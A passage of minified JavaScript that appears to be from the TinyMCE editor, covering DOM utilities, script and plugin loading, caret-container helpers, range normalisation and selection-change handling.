m=u.each,g=u.is,v=u.grep,y=u.trim,b=l.ie,C=/^([a-z0-9],?)+$/i,x=/^[
\t\r\n]*$/;return
h.prototype={$$:function(e){return"string"==typeof
e&&(e=this.get(e)),this.$(e)},root:null,fixDoc:function(e){var
t=this.settings,n;if(b&&t.schema){"abbr article aside audio
canvas details figcaption figure footer header hgroup mark menu meter nav
output progress section summary time
video".replace(/\w+/g,function(t){e.createElement(t)});for(n in
t.schema.getCustomElements())e.createElement(n)}},clone:function(e,t){var
n=this,r,i;return!b||1!==e.nodeType||t?e.cloneNode(t):(i=n.doc,t?r.firstChild:(r=i.createElement(e.nodeName),m(n.getAttribs(e),function(t){n.setAttrib(r,t.nodeName,n.getAttrib(e,t.nodeName))}),r))},getRoot:function(){var
e=this;return
e.settings.root_element||e.doc.body},getViewPort:function(e){var t,n;return
e=e?e:this.win,t=e.document,n=this.boxModel?t.documentElement:t.body,{x:e.pageXOffset||n.scrollLeft,y:e.pageYOffset||n.scrollTop,w:e.innerWidth||n.clientWidth,h:e.innerHeight||n.clientHeight}},getRect:function(e){var
t=this,n,r;return
e=t.get(e),n=t.getPos(e),r=t.getSize(e),{x:n.x,y:n.y,w:r.w,h:r.h}},getSize:function(e){var
t=this,n,r;return
e=t.get(e),n=t.getStyle(e,"width"),r=t.getStyle(e,"height"),n.indexOf("px")===-1&&(n=0),r.indexOf("px")===-1&&(r=0),
{w:parseInt(n,10)||e.offsetWidth||e.clientWidth,h:parseInt(r,10)||e.offsetHeight||e.clientHeight}},getParent:function(e,t,n){return
this.getParents(e,t,n,!1)},getParents:function(e,n,r,i){var
o=this,a,s=[];for(e=o.get(e),i=i===t,r=r||("BODY"!=o.getRoot().nodeName?o.getRoot().parentNode:null),g(n,"string")&&(a=n,n="*"===n?function(e){return
1==e.nodeType}:function(e){return
o.is(e,a)});e&&e!=r&&e.nodeType&&9!==e.nodeType;){if(!n||n(e)){if(!i)return
e;s.push(e)}e=e.parentNode}return i?s:null},get:function(e){var t;return
e&&this.doc&&"string"==typeof
e&&(t=e,e=this.doc.getElementById(e),e&&e.id!==t)?this.doc.getElementsByName(t)[1]:e},getNext:function(e,t){return
this._findSib(e,t,"nextSibling")},getPrev:function(e,t){return
this._findSib(e,t,"previousSibling")},select:function(t,n){var
r=this;return
e(t,r.get(n)||r.settings.root_element||r.doc,[])},is:function(n,r){var
i;if(n.length===t){if("*"===r)return
1==n.nodeType;if(C.test(r)){for(r=r.toLowerCase().split(/,/),n=n.nodeName.toLowerCase(),i=r.length-1;i>=0;i--)if(r[i]==n)return!0;return!1}}if(n.nodeType&&1!=n.nodeType)return!1;var
o=n.nodeType?[n]:n;return
e(r,o[0].ownerDocument||o[0],null,o).length>0},add:function(e,t,n,r,i){var
o=this;return this.run(e,function(e){var a;return
a=g(t,"string")?o.doc.createElement(t):t,o.setAttribs(a,n),r&&(r.nodeType?a.appendChild(r):o.setHTML(a,r)),i?a:e.appendChild(a)})},create:function(e,t,n){return
this.add(this.doc.createElement(e),e,t,n,1)},createHTML:function(e,t,n){var
r="",i;r+="<"+e;for(i in
t)t.hasOwnProperty(i)&&null!==t[i]&&"undefined"!=typeof
t[i]&&(r+="
"+i+'="'+this.encode(t[i])+'"');return"undefined"!=typeof
n?r+">"+n+"</"+e+">":r+"
/>"},createFragment:function(e){var
t,n,r=this.doc,i;for(i=r.createElement("div"),t=r.createDocumentFragment(),e&&(i.innerHTML=e);n=i.firstChild;)t.appendChild(n);return
t},remove:function(e,t){return e=this.$$(e),t?e.each(function(){for(var
e;e=this.firstChild;)3==e.nodeType&&0===e.data.length?this.removeChild(e):this.parentNode.insertBefore(e,this)}).remove():e.remove(),e.length>1?e.toArray():e[0]},setStyle:function(e,t,n){e=this.$$(e).css(t,n),this.settings.update_styles&&f(this,e)},getStyle:function(e,n,r){return
e=this.$$(e),r?e.css(n):(n=n.replace(/-(\D)/g,function(e,t){return
t.toUpperCase()}),"float"==n&&(n=l.ie&&l.ie<12?"styleFloat":"cssFloat"),e[0]&&e[0].style?e[0].style[n]:t)},setStyles:function(e,t){e=this.$$(e).css(t),this.settings.update_styles&&f(this,e)},removeAllAttribs:function(e){return
this.run(e,function(e){var
t,n=e.attributes;for(t=n.length-1;t>=0;t--)e.removeAttributeNode(n.item(t))})},setAttrib:function(e,t,n){var
r=this,i,o,a=r.settings;""===n&&(n=null),e=r.$$(e),i=e.attr(t),e.length&&(o=r.attrHooks[t],o&&o.set?o.set(e,n,t):e.attr(t,n),i!=n&&a.onSetAttrib&&a.onSetAttrib({attrElm:e,attrName:t,attrValue:n}))},setAttribs:function(e,t){var
n=this;n.$$(e).each(function(e,r){m(t,function(e,t){n.setAttrib(r,t,e)})})},getAttrib:function(e,t,n){var
r=this,i,o;return
e=r.$$(e),e.length&&(i=r.attrHooks[t],o=i&&i.get?i.get(e,t):e.attr(t)),"undefined"==typeof
o&&(o=n||""),o},getPos:function(e,t){var
r=this,i=0,o=0,a,s=r.doc,l=s.body,u;if(e=r.get(e),t=t||l,e){if(t===l&&e.getBoundingClientRect&&"static"===n(l).css("position"))return
u=e.getBoundingClientRect(),t=r.boxModel?s.documentElement:l,i=u.left+(s.documentElement.scrollLeft||l.scrollLeft)-t.clientLeft,o=u.top+(s.documentElement.scrollTop||l.scrollTop)-t.clientTop,{x:i,y:o};for(a=e;a&&a!=t&&a.nodeType;)i+=a.offsetLeft||0,o+=a.offsetTop||0,a=a.offsetParent;for(a=e.parentNode;a&&a!=t&&a.nodeType;)i-=a.scrollLeft||0,o-=a.scrollTop||0,a=a.parentNode}return{x:i,y:o}},parseStyle:function(e){return
this.styles.parse(e)},serializeStyle:function(e,t){return
this.styles.serialize(e,t)},addStyle:function(e){var
t=this,n=t.doc,r,i;if(t!==h.DOM&&n===document){var
o=h.DOM.addedStyles;if(o=o||[],o[e])return;o[e]=!0,h.DOM.addedStyles=o}i=n.getElementById("mceDefaultStyles"),i||(i=n.createElement("style"),i.id="mceDefaultStyles",i.type="text/css",r=n.getElementsByTagName("head")[0],r.firstChild?r.insertBefore(i,r.firstChild):r.appendChild(i)),i.styleSheet?i.styleSheet.cssText+=e:i.appendChild(n.createTextNode(e))},loadCSS:function(e){var
t=this,n=t.doc,r;return t!==h.DOM&&n===document?void
h.DOM.loadCSS(e):(e||(e=""),r=n.getElementsByTagName("head")[0],void
m(e.split(","),function(e){var
i;e=u._addCacheSuffix(e),t.files[e]||(t.files[e]=!0,i=t.create("link",{rel:"stylesheet",href:e}),b&&n.documentMode&&n.recalc&&(i.onload=function(){n.recalc&&n.recalc(),i.onload=null}),r.appendChild(i))}))},addClass:function(e,t){this.$$(e).addClass(t)},removeClass:function(e,t){this.toggleClass(e,t,!1)},hasClass:function(e,t){return
this.$$(e).hasClass(t)},toggleClass:function(e,t,r){this.$$(e).toggleClass(t,r).each(function(){""===this.className&&n(this).attr("class",null)})},show:function(e){this.$$(e).show()},hide:function(e){this.$$(e).hide()},isHidden:function(e){return"none"==this.$$(e).css("display")},uniqueId:function(e){return(e?e:"mce_")+this.counter++},setHTML:function(e,t){e=this.$$(e),b?e.each(function(e,r){if(r.canHaveHTML!==!1){for(;r.firstChild;)r.removeChild(r.firstChild);try{r.innerHTML="<br>"+t,r.removeChild(r.firstChild)}catch(i){n("<div></div>").html("<br>"+t).contents().slice(1).appendTo(r)}return
t}}):e.html(t)},getOuterHTML:function(e){return
e=this.get(e),1==e.nodeType&&"outerHTML"in
e?e.outerHTML:n("<div></div>").append(n(e).clone()).html()},setOuterHTML:function(e,t){var
r=this;r.$$(e).each(function(){try{if("outerHTML"in this)return
void(this.outerHTML=t)}catch(e){}r.remove(n(this).html(t),!0)})},decode:s.decode,encode:s.encodeAllRaw,insertAfter:function(e,t){return
t=this.get(t),this.run(e,function(e){var n,r;return
n=t.parentNode,r=t.nextSibling,r?n.insertBefore(e,r):n.appendChild(e),e})},replace:function(e,t,n){var
r=this;return r.run(t,function(t){return
g(t,"array")&&(e=e.cloneNode(!0)),n&&m(v(t.childNodes),function(t){e.appendChild(t)}),t.parentNode.replaceChild(e,t)})},rename:function(e,t){var
n=this,r;return
e.nodeName!=t.toUpperCase()&&(r=n.create(t),m(n.getAttribs(e),function(t){n.setAttrib(r,t.nodeName,n.getAttrib(e,t.nodeName))}),n.replace(r,e,1)),r||e},findCommonAncestor:function(e,t){for(var
n=e,r;n;){for(r=t;r&&n!=r;)r=r.parentNode;if(n==r)break;n=n.parentNode}return!n&&e.ownerDocument?e.ownerDocument.documentElement:n},toHex:function(e){return
this.styles.toHex(u.trim(e))},run:function(e,t,n){var
r=this,i;return"string"==typeof
e&&(e=r.get(e)),!!e&&(n=n||this,e.nodeType||!e.length&&0!==e.length?t.call(n,e):(i=[],m(e,function(e,o){e&&("string"==typeof
e&&(e=r.get(e)),i.push(t.call(n,e,o)))}),i))},getAttribs:function(e){var
t;if(e=this.get(e),!e)return[];if(b){if(t=[],"OBJECT"==e.nodeName)return
e.attributes;"OPTION"===e.nodeName&&this.getAttrib(e,"selected")&&t.push({specified:1,nodeName:"selected"});var
n=/<\/?[\w:\-]+
?|=[\"][^\"]+\"|=\'[^\']+\'|=[\w\-]+|>/gi;return
e.cloneNode(!1).outerHTML.replace(n,"").replace(/[\w:\-]+/gi,function(e){t.push({specified:1,nodeName:e})}),t}return
e.attributes},isEmpty:function(e,t){var
n=this,r,i,a,s,l,u,c=0;if(e=e.firstChild){l=new
o(e,e.parentNode),t=t||(n.schema?n.schema.getNonEmptyElements():null),s=n.schema?n.schema.getWhiteSpaceElements():{};do{if(a=e.nodeType,1===a){var
d=e.getAttribute("data-mce-bogus");if(d){e=l.next("all"===d);continue}if(u=e.nodeName.toLowerCase(),t&&t[u]){if("br"===u){c++,e=l.next();continue}return!1}for(i=n.getAttribs(e),r=i.length;r--;)if(u=i[r].nodeName,"name"===u||"data-mce-bookmark"===u)return!1}if(8==a)return!1;if(3===a&&!x.test(e.nodeValue))return!1;if(3===a&&e.parentNode&&s[e.parentNode.nodeName]&&x.test(e.nodeValue))return!1;e=l.next()}while(e)}return
c<=1},createRng:function(){var e=this.doc;return
e.createRange?e.createRange():new
a(this)},nodeIndex:p,split:function(e,t,n){function r(e){function t(e){var
t=e.previousSibling&&"SPAN"==e.previousSibling.nodeName,n=e.nextSibling&&"SPAN"==e.nextSibling.nodeName;return
t&&n}var
n,o=e.childNodes,a=e.nodeType;if(1!=a||"bookmark"!=e.getAttribute("data-mce-type")){for(n=o.length-1;n>=0;n--)r(o[n]);if(9!=a){if(3==a&&e.nodeValue.length>0){var
s=y(e.nodeValue).length;if(!i.isBlock(e.parentNode)||s>0||0===s&&t(e))return}else
if(1==a&&(o=e.childNodes,1==o.length&&o[0]&&1==o[0].nodeType&&"bookmark"==o[0].getAttribute("data-mce-type")&&e.parentNode.insertBefore(o[0],e),o.length||/^(br|hr|input|img)$/i.test(e.nodeName)))return;i.remove(e)}return
e}}var i=this,o=i.createRng(),a,s,l;if(e&&t)return
o.setStart(e.parentNode,i.nodeIndex(e)),o.setEnd(t.parentNode,i.nodeIndex(t)),a=o.extractContents(),o=i.createRng(),o.setStart(t.parentNode,i.nodeIndex(t)+1),o.setEnd(e.parentNode,i.nodeIndex(e)+1),s=o.extractContents(),l=e.parentNode,l.insertBefore(r(a),e),n?l.insertBefore(n,e):l.insertBefore(t,e),l.insertBefore(r(s),e),i.remove(e),n||t},bind:function(e,t,n,r){var
i=this;if(u.isArray(e)){for(var
o=e.length;o--;)e[o]=i.bind(e[o],t,n,r);return
e}return!i.settings.collect||e!==i.doc&&e!==i.win||i.boundEvents.push([e,t,n,r]),i.events.bind(e,t,n,r||i)},unbind:function(e,t,n){var
r=this,i;if(u.isArray(e)){for(i=e.length;i--;)e[i]=r.unbind(e[i],t,n);return
e}if(r.boundEvents&&(e===r.doc||e===r.win))for(i=r.boundEvents.length;i--;){var
o=r.boundEvents[i];e!=o[0]||t&&t!=o[1]||n&&n!=o[2]||this.events.unbind(o[0],o[1],o[2])}return
this.events.unbind(e,t,n)},fire:function(e,t,n){return
this.events.fire(e,t,n)},getContentEditable:function(e){var t;return
e&&1==e.nodeType?(t=e.getAttribute("data-mce-contenteditable"),t&&"inherit"!==t?t:"inherit"!==e.contentEditable?e.contentEditable:null):null},getContentEditableParent:function(e){for(var
t=this.getRoot(),n=null;e&&e!==t&&(n=this.getContentEditable(e),null===n);e=e.parentNode);return
n},destroy:function(){var t=this;if(t.boundEvents){for(var
n=t.boundEvents.length;n--;){var
r=t.boundEvents[n];this.events.unbind(r[0],r[1],r[2])}t.boundEvents=null}e.setDocument&&e.setDocument(),t.win=t.doc=t.root=t.events=t.frag=null},isChildOf:function(e,t){for(;e;){if(t===e)return!0;e=e.parentNode}return!1},dumpRng:function(e){return"startContainer:
"+e.startContainer.nodeName+", startOffset:
"+e.startOffset+", endContainer:
"+e.endContainer.nodeName+", endOffset:
"+e.endOffset},_findSib:function(e,t,n){var
r=this,i=t;if(e)for("string"==typeof
i&&(i=function(e){return r.is(e,t)}),e=e[n];e;e=e[n])if(i(e))return
e;return null}},h.DOM=new
h(document),h.nodeIndex=p,h}),r(E,[w,m],function(e,t){function n(){function
e(e,n,i){function
o(){l.remove(c),u&&(u.onreadystatechange=u.onload=u=null),n()}function
s(){a(i)?i():"undefined"!=typeof
console&&console.log&&console.log("Failed to load
script: "+e)}var
l=r,u,c;c=l.uniqueId(),u=document.createElement("script"),u.id=c,u.type="text/javascript",u.src=t._addCacheSuffix(e),"onreadystatechange"in
u?u.onreadystatechange=function(){/loaded|complete/.test(u.readyState)&&o()}:u.onload=o,u.onerror=s,(document.getElementsByTagName("head")[0]||document.body).appendChild(u)}var
n=0,s=1,l=2,u=3,c={},d=[],f={},p=[],h=0,m;this.isDone=function(e){return
c[e]==l},this.markDone=function(e){c[e]=l},this.add=this.load=function(e,t,r,i){var
o=c[e];o==m&&(d.push(e),c[e]=n),t&&(f[e]||(f[e]=[]),f[e].push({success:t,failure:i,scope:r||this}))},this.remove=function(e){delete
c[e],delete
f[e]},this.loadQueue=function(e,t,n){this.loadScripts(d,e,t,n)},this.loadScripts=function(t,n,r,d){function
g(e,t){i(f[t],function(t){a(t[e])&&t[e].call(t.scope)}),f[t]=m}var
v,y=[];p.push({success:n,failure:d,scope:r||this}),(v=function(){var
n=o(t);t.length=0,i(n,function(t){return c[t]===l?void
g("success",t):c[t]===u?void
g("failure",t):void(c[t]!==s&&(c[t]=s,h++,e(t,function(){c[t]=l,h--,g("success",t),v()},function(){c[t]=u,h--,y.push(t),g("failure",t),v()})))}),h||(i(p,function(e){0===y.length?a(e.success)&&e.success.call(e.scope):a(e.failure)&&e.failure.call(e.scope,y)}),p.length=0)})()}}var
r=e.DOM,i=t.each,o=t.grep,a=function(e){return"function"==typeof
e};return n.ScriptLoader=new n,n}),r(N,[E,m],function(e,n){function r(){var
e=this;e.items=[],e.urls={},e.lookup={}}var i=n.each;return
r.prototype={get:function(e){return
this.lookup[e]?this.lookup[e].instance:t},dependencies:function(e){var
t;return
this.lookup[e]&&(t=this.lookup[e].dependencies),t||[]},requireLangPack:function(t,n){var
i=r.language;if(i&&r.languageLoad!==!1){if(n)if(n=","+n+",",n.indexOf(","+i.substr(0,2)+",")!=-1)i=i.substr(0,2);else
if(n.indexOf(","+i+",")==-1)return;e.ScriptLoader.add(this.urls[t]+"/langs/"+i+".js")}},add:function(e,t,n){return
this.items.push(t),this.lookup[e]={instance:t,dependencies:n},t},remove:function(e){delete
this.urls[e],delete
this.lookup[e]},createUrl:function(e,t){return"object"==typeof
t?t:{prefix:e.prefix,resource:t,suffix:e.suffix}},addComponents:function(t,n){var
r=this.urls[t];i(n,function(t){e.ScriptLoader.add(r+"/"+t)})},load:function(n,o,a,s,l){function
u(){var r=c.dependencies(n);i(r,function(e){var
n=c.createUrl(o,e);c.load(n.resource,n,t,t)}),a&&(s?a.call(s):a.call(e))}var
c=this,d=o;c.urls[n]||("object"==typeof
o&&(d=o.prefix+o.resource+o.suffix),0!==d.indexOf("/")&&d.indexOf("://")==-1&&(d=r.baseURL+"/"+d),c.urls[n]=d.substring(0,d.lastIndexOf("/")),c.lookup[n]?u():e.ScriptLoader.add(d,u,s,l))}},r.PluginManager=new
r,r.ThemeManager=new r,r}),r(_,[],function(){function e(e){return
function(t){return!!t&&t.nodeType==e}}function t(e){return
e=e.toLowerCase().split(" "),function(t){var
n,r;if(t&&t.nodeType)for(r=t.nodeName.toLowerCase(),n=0;n<e.length;n++)if(r===e[n])return!0;return!1}}function
n(e,t){return t=t.toLowerCase().split(" "),function(n){var
r,i;if(s(n))for(r=0;r<t.length;r++)if(i=getComputedStyle(n,null).getPropertyValue(e),i===t[r])return!0;return!1}}function
r(e,t){return function(n){return s(n)&&n[e]===t}}function
i(e,t){return function(n){return
s(n)&&n.getAttribute(e)===t}}function o(e){return
s(e)&&e.hasAttribute("data-mce-bogus")}function
a(e){return
function(t){if(s(t)){if(t.contentEditable===e)return!0;if(t.getAttribute("data-mce-contenteditable")===e)return!0}return!1}}var
s=e(1);return{isText:e(3),isElement:s,isComment:e(8),isBr:t("br"),isContentEditableTrue:a("true"),isContentEditableFalse:a("false"),matchNodeNames:t,hasPropValue:r,hasAttributeValue:i,matchStyleValues:n,isBogus:o}}),r(S,[],function(){function
e(e){return e==n}function t(e){return e.replace(new
RegExp(n,"g"),"")}var
n="\ufeff";return{isZwsp:e,ZWSP:n,trim:t}}),r(k,[_,S],function(e,t){function
n(e){return
y(e)&&(e=e.parentNode),v(e)&&e.hasAttribute("data-mce-caret")}function
r(e){return y(e)&&t.isZwsp(e.data)}function i(e){return
n(e)||r(e)}function o(e){var
t=e.parentNode;t&&t.removeChild(e)}function a(e){try{return
e.nodeValue}catch(t){return""}}function
s(e,t){0===t.length?o(e):e.nodeValue=t}function l(e,n){var
r,o,a,s;if(r=e.ownerDocument,a=r.createTextNode(t.ZWSP),s=e.parentNode,n){if(o=e.previousSibling,y(o)){if(i(o))return
o;if(h(o))return
o.splitText(o.data.length-1)}s.insertBefore(a,e)}else{if(o=e.nextSibling,y(o)){if(i(o))return
o;if(p(o))return
o.splitText(1),o}e.nextSibling?s.insertBefore(a,e.nextSibling):s.appendChild(a)}return
a}function u(){var e=document.createElement("br");return
e.setAttribute("data-mce-bogus","1"),e}function
c(e,t,n){var r,i,o;return
r=t.ownerDocument,i=r.createElement(e),i.setAttribute("data-mce-caret",n?"before":"after"),i.setAttribute("data-mce-bogus","all"),i.appendChild(u()),o=t.parentNode,n?o.insertBefore(i,t):t.nextSibling?o.insertBefore(i,t.nextSibling):o.appendChild(i),i}function
d(t){return t.firstChild!==t.lastChild||!e.isBr(t.firstChild)}function
f(e){if(v(e)&&i(e)&&(d(e)?e.removeAttribute("data-mce-caret"):o(e)),y(e)){var
n=t.trim(a(e));s(e,n)}}function p(e){return
y(e)&&e.data[0]==t.ZWSP}function h(e){return
y(e)&&e.data[e.data.length-1]==t.ZWSP}function m(t){var
n=t.getElementsByTagName("br"),r=n[n.length-1];e.isBogus(r)&&r.parentNode.removeChild(r)}function
g(e){return
e&&e.hasAttribute("data-mce-caret")?(m(e),e.removeAttribute("data-mce-caret"),e.removeAttribute("data-mce-bogus"),e.removeAttribute("style"),e.removeAttribute("_moz_abspos"),e):null}var
v=e.isElement,y=e.isText;return{isCaretContainer:i,isCaretContainerBlock:n,isCaretContainerInline:r,showCaretContainerBlock:g,insertInline:l,insertBlock:c,hasContent:d,remove:f,startsWithCaretContainer:p,endsWithCaretContainer:h}}),r(T,[m,y,_,b,k],function(e,t,n,r,i){function
o(e){return m(e)||g(e)}function a(e,t){var n=e.childNodes;return
t--,t>n.length-1?t=n.length-1:t<0&&(t=0),n[t]||e}function
s(e,t,n){for(;e&&e!==t;){if(n(e))return e;e=e.parentNode}return
null}function l(e,t,n){return null!==s(e,t,n)}function
u(e){return"_mce_caret"===e.id}function c(e,t){return
v(e)&&l(e,t,u)===!1}function d(e){this.walk=function(t,n){function
r(e){var t;return
t=e[0],3===t.nodeType&&t===l&&u>=t.nodeValue.length&&e.splice(0,1),t=e[e.length-1],0===d&&e.length>0&&t===c&&3===t.nodeType&&e.splice(e.length-1,1),e}function
i(e,t,n){for(var r=[];e&&e!=n;e=e[t])r.push(e);return r}function
o(e,t){do{if(e.parentNode==t)return e;e=e.parentNode}while(e)}function
s(e,t,o){var
a=o?"nextSibling":"previousSibling";for(g=e,v=g.parentNode;g&&g!=t;g=v)v=g.parentNode,y=i(g==e?g:g[a],a),y.length&&(o||y.reverse(),n(r(y)))}var
l=t.startContainer,u=t.startOffset,c=t.endContainer,d=t.endOffset,f,p,m,g,v,y,b;if(b=e.select("td[data-mce-selected],th[data-mce-selected]"),b.length>0)return
void
h(b,function(e){n([e])});if(1==l.nodeType&&l.hasChildNodes()&&(l=l.childNodes[u]),1==c.nodeType&&c.hasChildNodes()&&(c=a(c,d)),l==c)return
n(r([l]));for(f=e.findCommonAncestor(l,c),g=l;g;g=g.parentNode){if(g===c)return
s(l,f,!0);if(g===f)break}for(g=c;g;g=g.parentNode){if(g===l)return
s(c,f);if(g===f)break}p=o(l,f)||l,m=o(c,f)||c,s(l,p,!0),y=i(p==l?p:p.nextSibling,"nextSibling",m==c?m.nextSibling:m),y.length&&n(r(y)),s(c,m)},this.split=function(e){function
t(e,t){return e.splitText(t)}var
n=e.startContainer,r=e.startOffset,i=e.endContainer,o=e.endOffset;return
n==i&&3==n.nodeType?r>0&&r<n.nodeValue.length&&(i=t(n,r),n=i.previousSibling,o>r?(o-=r,n=i=t(i,o).previousSibling,o=i.nodeValue.length,r=0):o=0):(3==n.nodeType&&r>0&&r<n.nodeValue.length&&(n=t(n,r),r=0),3==i.nodeType&&o>0&&o<i.nodeValue.length&&(i=t(i,o).previousSibling,o=i.nodeValue.length)),{startContainer:n,startOffset:r,endContainer:i,endOffset:o}},this.normalize=function(n){function
r(r){function a(e){return
e&&/^(TD|TH|CAPTION)$/.test(e.nodeName)}function s(n,r){for(var
i=new
t(n,e.getParent(n.parentNode,e.isBlock)||m);n=i[r?"prev":"next"]();)if("BR"===n.nodeName)return!0}function
l(e){for(;e&&e!=m;){if(g(e))return!0;e=e.parentNode}return!1}function
u(e,t){return
e.previousSibling&&e.previousSibling.nodeName==t}function
d(n,r){var
a,s,l;if(r=r||f,l=e.getParent(r.parentNode,e.isBlock)||m,n&&"BR"==r.nodeName&&x&&e.isEmpty(l))return
f=r.parentNode,p=e.nodeIndex(r),void(i=!0);for(a=new
t(r,l);y=a[n?"prev":"next"]();){if("false"===e.getContentEditableParent(y)||c(y,e.getRoot()))return;if(3===y.nodeType&&y.nodeValue.length>0)return
f=y,p=n?y.nodeValue.length:0,void(i=!0);if(e.isBlock(y)||b[y.nodeName.toLowerCase()])return;s=y}o&&s&&(f=s,i=!0,p=0)}var
f,p,h,m=e.getRoot(),y,b,C,x;if(f=n[(r?"start":"end")+"Container"],p=n[(r?"start":"end")+"Offset"],x=1==f.nodeType&&p===f.childNodes.length,b=e.schema.getNonEmptyElements(),C=r,!v(f)){if(1==f.nodeType&&p>f.childNodes.length-1&&(C=!1),9===f.nodeType&&(f=e.getRoot(),p=0),f===m){if(C&&(y=f.childNodes[p>0?p-1:0])){if(v(y))return;if(b[y.nodeName]||"TABLE"==y.nodeName)return}if(f.hasChildNodes()){if(p=Math.min(!C&&p>0?p-1:p,f.childNodes.length-1),f=f.childNodes[p],p=0,!o&&f===m.lastChild&&"TABLE"===f.nodeName)return;if(l(f)||v(f))return;if(f.hasChildNodes()&&!/TABLE/.test(f.nodeName)){y=f,h=new
t(f,m);do{if(g(y)||v(y)){i=!1;break}if(3===y.nodeType&&y.nodeValue.length>0){p=C?0:y.nodeValue.length,f=y,i=!0;break}if(b[y.nodeName.toLowerCase()]&&!a(y)){p=e.nodeIndex(y),f=y.parentNode,"IMG"!=y.nodeName||C||p++,i=!0;break}}while(y=C?h.next():h.prev())}}}o&&(3===f.nodeType&&0===p&&d(!0),1===f.nodeType&&(y=f.childNodes[p],y||(y=f.childNodes[p-1]),!y||"BR"!==y.nodeName||u(y,"A")||s(y)||s(y,!0)||d(!0,y))),C&&!o&&3===f.nodeType&&p===f.nodeValue.length&&d(!1),i&&n["set"+(r?"Start":"End")](f,p)}}var
i,o;return
o=n.collapsed,r(!0),o||r(),i&&o&&n.collapse(!0),i}}function
f(t,n,r){var
i,o,a;if(i=r.elementFromPoint(t,n),o=r.body.createTextRange(),i&&"HTML"!=i.tagName||(i=r.body),o.moveToElementText(i),a=e.toArray(o.getClientRects()),a=a.sort(function(e,t){return
e=Math.abs(Math.max(e.top-n,e.bottom-n)),t=Math.abs(Math.max(t.top-n,t.bottom-n)),e-t}),a.length>0){n=(a[0].bottom+a[0].top)/2;try{return
o.moveToPoint(t,n),o.collapse(!0),o}catch(s){}}return null}function
p(e,t){var n=e&&e.parentElement?e.parentElement():null;return
g(s(n,t,o))?null:e}var
h=e.each,m=n.isContentEditableTrue,g=n.isContentEditableFalse,v=i.isCaretContainer;return
d.compareRanges=function(e,t){if(e&&t){if(!e.item&&!e.duplicate)return
e.startContainer==t.startContainer&&e.startOffset==t.startOffset;if(e.item&&t.item&&e.item(0)===t.item(0))return!0;if(e.isEqual&&t.isEqual&&t.isEqual(e))return!0}return!1},d.getCaretRangeFromPoint=function(e,t,n){var
r,i;if(n.caretPositionFromPoint)i=n.caretPositionFromPoint(e,t),r=n.createRange(),r.setStart(i.offsetNode,i.offset),r.collapse(!0);else
if(n.caretRangeFromPoint)r=n.caretRangeFromPoint(e,t);else
if(n.body.createTextRange){r=n.body.createTextRange();try{r.moveToPoint(e,t),r.collapse(!0)}catch(o){r=f(e,t,n)}return
p(r,n.body)}return r},d.getSelectedNode=function(e){var
t=e.startContainer,n=e.startOffset;return
t.hasChildNodes()&&e.endOffset==n+1?t.childNodes[n]:null},d.getNode=function(e,t){return
1==e.nodeType&&e.hasChildNodes()&&(t>=e.childNodes.length&&(t=e.childNodes.length-1),e=e.childNodes[t]),e},d}),r(R,[T,d,c],function(e,t,n){return
function(r){function i(e){var
t,n;if(n=r.$(e).parentsUntil(r.getBody()).add(e),n.length===a.length){for(t=n.length;t>=0&&n[t]===a[t];t--);if(t===-1)return
a=n,!0}return a=n,!1}var o,a=[];"onselectionchange"in
r.getDoc()||r.on("NodeChange Click MouseUp KeyUp
Focus",function(t){var
n,i;n=r.selection.getRng(),i={startContainer:n.startContainer,startOffset:n.startOffset,endContainer:n.endContainer,endOffset:n.endOffset},"nodechange"!=t.type&&e.compareRanges(i,o)||r.fire("SelectionChange"),o=i}),r.on("contextmenu",function(){r.fire("SelectionChange")}),r.on("SelectionChange",function(){var
e=r.selection.getStart(!0);!t.range&&r.selection.isCollapsed()||!i(e)&&r.dom.isChildOf(e,r.getBody())&&r.nodeChanged({selectionChange:!0})}),r.on("MouseUp",function(e){e.isDefaultPrevented()||("IMG"==r.selection.getNode().nodeName?n.setEditorTimeout(r,function(){r.nodeChanged()}):r.nodeChanged())}),this.nodeChanged=function(e){var
t=r.selection,n,i,o;r.initialized&&t&&!r.settings.disable_nodechange&&!r.readonly&&(o=r.getBody(),n=t.getStart()||o,n.ownerDocument==r.getDoc()&&r.dom.isChildOf(n,o)||(n=o),"IMG"==n.nodeName&&t.isCollapsed()&&(n=n.parentNode),i=[],r.dom.getParent(n,function(e){return
e===o||void
i.push(e)}),e=e||{},e.element=n,e.parents=i,r.fire("NodeChange",e))}}}),r(A,[],function(){function
e(e,t,n){var
r,i,o=n?"lastChild":"firstChild",a=n?"prev":"next";if(e[o])return
e[o];if(e!==t){if(r=e[a])return
r;for(i=e.parent;i&&i!==t;i=i.parent)if(r=i[a])return r}}function
t(e,t){this.name=e,this.type=t,1===t&&(this.attributes=[],this.attributes.map={})}var
n=/^[
\t\r\n]*$/,r={"#text":3,"#comment":8,"#cdata":4,"#pi":7,"#doctype":10,"#document-fragment":11};return
t.prototype={replace:function(e){var t=this;return
e.parent&&e.remove(),t.insert(e,t),t.remove(),t},attr:function(e,t){var
n=this,r,i,o;if("string"!=typeof e){for(i in
e)n.attr(i,e[i]);return n}if(r=n.attributes){if(t!==o){if(null===t){if(e in
r.map)for(delete r.map[e],i=r.length;i--;)if(r[i].name===e)return
r=r.splice(i,1),n;return n}if(e in
r.map){for(i=r.length;i--;)if(r[i].name===e){r[i].value=t;break}}else
r.push({name:e,value:t});return r.map[e]=t,n}return
r.map[e]}},clone:function(){var e=this,n=new
t(e.name,e.type),r,i,o,a,s;if(o=e.attributes){for(s=[],s.map={},r=0,i=o.length;r<i;r++)a=o[r],"id"!==a.name&&(s[s.length]={name:a.name,value:a.value},s.map[a.name]=a.value);n.attributes=s}return
n.value=e.value,n.shortEnded=e.shortEnded,n},wrap:function(e){var
t=this;return t.parent.insert(e,t),e.append(t),t},unwrap:function(){var
e=this,t,n;for(t=e.firstChild;t;)n=t.next,e.insert(t,e,!0),t=n;e.remove()},remove:function(){var
e=this,t=e.parent,n=e.next,r=e.prev;return
t&&(t.firstChild===e?(t.firstChild=n,n&&(n.prev=null)):r.next=n,t.lastChild===e?(t.lastChild=r,r&&(r.next=null)):n.prev=r,e.parent=e.next=e.prev=null),e},append:function(e){var
t=this,n;return
e.parent&&e.remove(),n=t.lastChild,n?(n.next=e,e.prev=n,t.lastChild=e):t.lastChild=t.firstChild=e,e.parent=t,e},insert:function(e,t,n){var
r;return
e.parent&&e.remove(),r=t.parent||this,n?(t===r.firstChild?r.firstChild=e:t.prev.next=e,e.prev=t.prev,e.next=t,t.prev=e):(t===r.lastChild?r.lastChild=e:t.next.prev=e,e.next=t.next,e.prev=t,t.next=e),e.parent=r,e},getAll:function(t){var
